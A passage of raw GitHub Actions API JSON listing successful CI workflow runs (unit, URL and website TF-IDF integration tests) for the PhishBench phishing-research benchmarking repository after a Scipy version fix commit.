","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569150,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC86nC8--","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":99,"event":"push","status":"completed","conclusion":"success","workflow_id":12794729,"check_suite_id":7680534926,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupjg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569150","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:34:40Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534926","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569150/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794729","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569149,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nC8-9","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Unit_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":240,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7680534930,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupkg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569149","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:20:42Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534930","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569149/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569148,"name":"URL Integration Test","node_id":"WFR_kwLOCLXpC86nC8-8","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Url_Integration_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":99,"event":"push","status":"completed","conclusion":"success","workflow_id":12794728,"check_suite_id":7680534927,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupjw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569148","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569148","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:23:50Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt"